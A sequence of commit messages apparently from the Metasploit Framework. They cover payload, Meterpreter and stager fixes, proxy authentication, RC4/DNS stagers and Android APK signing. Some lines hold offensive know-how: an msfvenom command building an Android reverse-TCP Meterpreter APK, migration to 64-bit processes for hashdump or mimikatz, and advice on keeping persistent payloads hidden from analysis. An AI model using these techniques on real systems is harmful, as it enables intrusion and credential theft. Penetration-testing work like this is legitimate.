This avoids zalgo. Also optionally checks the return value
of the compiled Function in XSS to allow you to use send()
or an explicit return, which is maybe more natural for
synchronous xss payloads.
* Project system updated to VS 2013.
* Clean builds, had to remove a bunch of warnings.
* `make.bat` for building from the command line.
* Removed RDI stuff that shouldn't be there any more.
* Renamed the x86 DLL to include the platform name.
* Moved shortlink to a reference.
* Reformat e-mail address.
* Fixed whitespace
* Use multiline quote per most other module descriptions
Still need to resplat the modules, but it's no big thang to do that
after landing. Also, References do not seem to appear for post modules
in the normal msfconsole. This is a bug in the UI, not for these modules
-- many payloads would benefit from being explicit on their references,
so may as well start with these.
This change updates the proxy handler code, which for some reason was
ommitted in the orginal commits. This now uses the same mechanism as
the new code. It removes `HIDDENHOST` and `HIDDENPORT`, and instead
uses `ReverseListenerBindHost` and `ReverseListenerBindAddress`.
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

It appears that testing of the original submit was performed
on VMWare which worked. On a non virtualized machine the
payload would crash.
[Closes#2373] [FixRm #8271]
This makes x86 more consistent with x64.
Also replaces a bunch of instances of:
File.join(Msf::Config.install_root, 'data', ...)
with the simpler
File.join(Msf::Config.data_directory, ...)

Meterpreter Error: Uninitialized Constant Error Prevents a 32bit Meterpreter session from migrating to a 64bit process.
Discovered: September 9th 2013
Fixed: September 11th 2013 By MosDefAssassin
Contact:ara1212@gmail.com
Tested on Windows 2008 R2 SP1 Running as a Domain Controller
Issue:
An issue has been discovered when you have created a simple 32bit windows/meterpreter/reverse_tcp payload and have launched the payload on the victim to obtain a remote meterpreter session. While in this session you attempt to migrate your 32bit process over to a 64bit process in order to take advantage of tools like hashdump or mimikatz or obtain system level access under a 64bit process that runs as system such as dns.exe. However when you attempt to migrate to a 64bit process you receive the following error:
Error running command migrate: NameError uninitialized constant Msf::Payload::Windows::ReflectiveDllInject_x64
Cause and Resolution:
This issue occurs because the meterpreter.rb file that is being called from within
“/opt/metasploit/apps/pro/msf3/modules/payloads/stages/windows/” folder
does not contain the following classes:
require 'msf/core/payload/windows/x64/reflectivedllinject'
require 'msf/base/sessions/meterpreter_x64_win'
Once you add these two classes to the meterpreter.rb file, you will be able to migrate to 64bit processes from a basic msfpayload generated 32bit meterpreter payload.
There was a disaster of a merge at 6f37cf22eb that is particularly
difficult to untangle (it was a bad merge from a long-running local
branch).
What this commit does is simulate a hard reset, by doing thing:
git checkout -b reset-hard-ohmu
git reset --hard 593363c5f9
git checkout upstream-master
git checkout -b revert-via-diff
git diff --no-prefix upstream-master..reset-hard-ohmy > patch
patch -p0 < patch
Since there was one binary change, also did this:
git checkout upstream-master data/exploits/CVE-2012-1535/Main.swf
Now we have one commit that puts everything back. It screws up
file-level history a little, but it's at least at a point where we can
move on with our lives. Sorry.
- classes.dex gets mangled on windows; use binary mode when reading it
- UnknownHostExceptions on API Level 3 emulator because of trailing
whitespace after the hostname/IP
- Work around integer overflow at year 2038 when signing the payload
* Gets rid of conversion errors like this:
[-] Exploit failed: can't convert Fixnum into String
* also removes comments from php meterp. Works for me with the
phpmyadmin_preg_replace bug, so seems legit.
Signing the generated APK in the module means users don't have to have
keytool or jarsigner to create a working package.
Example usage:
./msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.99.1 LPORT=2222 -f raw > meterp.apk
adb install ./meterp.apk
Note that this commit needed a --no-verify because of the erroneous
check in msftidy for writing to stdout. The particular syntax of this
payload makes it look like we're doing that when we're really not.
So don't sweat it.
Adds INTERNET_FLAG_KEEP_CONNECTION to HttpOpenRequest flags to allow
download_exec to transparently authenticate to a proxy device through
wininet.
Fun trivia, Windows 7 systems uses Connection: keep-alive by default.
This flag benefits older targets (e.g., Windows XP).
Due to the modular structure of payload stages its pretty trivial
to add DNS resolution instead of hard-coded IP address in stage0.
The only real complication here is that ReverseConnectRetries ends
up being one byte further down than in the original shellcode. It
appears that the original rev_tcp_dns payload suffers from the same
issue.
Hostname substitution is handled in the same method as the RC4 and
XOR keys, with an offset provided and replace_vars ignoring the
hostname.
Tested in x86 native and WOW64 on XP and 2k8r2 respectively.
This is a good option for those of us needing to leave persistent
binaries/payloads on hosts for long periods. Even if the hostname
resolves to a malicious party attempting to steal our hard earned
session, they'd be hard pressed to crypt the payload with the
appropriate RC4 pass. So long as we control the NS and records, the
hardenned shellcode should provide a better night's sleep if running
shells over the WAN. Changing the RC4 password string in the
shellcode and build.py should reduce the chances of recovery by RE.
Next step will likely be to start generating elipses for ECDH SSL
in meterpreter sessions and passing them with stage2 through the
RC4 socket. If P is 768-1024 the process is relatively quick, but
we may want to precompute a few defaults as well to have 2048+.
The HttpOpenRequest function from WinINet requires the
INTERNET_FLAG_KEEP_CONNECTION flag to communicate through an
authenticated proxy.
From MSDN ( http://tinyurl.com/chwt86j ):
"Uses keep-alive semantics, if available, for the connection. This
flag is required for Microsoft Network (MSN), NT LAN Manager (NTLM),
and other types of authentication."
Without this flag, the HTTP stager will fail when faced with a proxy
that requires authentication. The Windows HTTPS stager does not have
this problem.
For HTTP Meterpreter to communicate through an authenticated proxy a
separate patch will need to be made to the Meterpreter source code.
This is at line 1125 of source/common/core.c in the Meterpreter source
code.
My motivation for this request is for windows/dllinject/reverse_http
to download a DLL even when faced with an authenticated proxy. These
changes accomplish this.
Test environment:
I staged a SmoothWall device with the Advanced Proxy Web Add-on. I
enabled Integrated Windows Authentication with a W2K3 DC. I verified
the HTTP stager authenticated to and communicated through the proxy
by watching the proxy access.log
The datastore value of ARCH has no effect on the array of
architectures the generic/custom payload is compatible with.
This commit forces the payload to update its list of compatible
architectures on generation if the ARCH value is set in the
datastore.
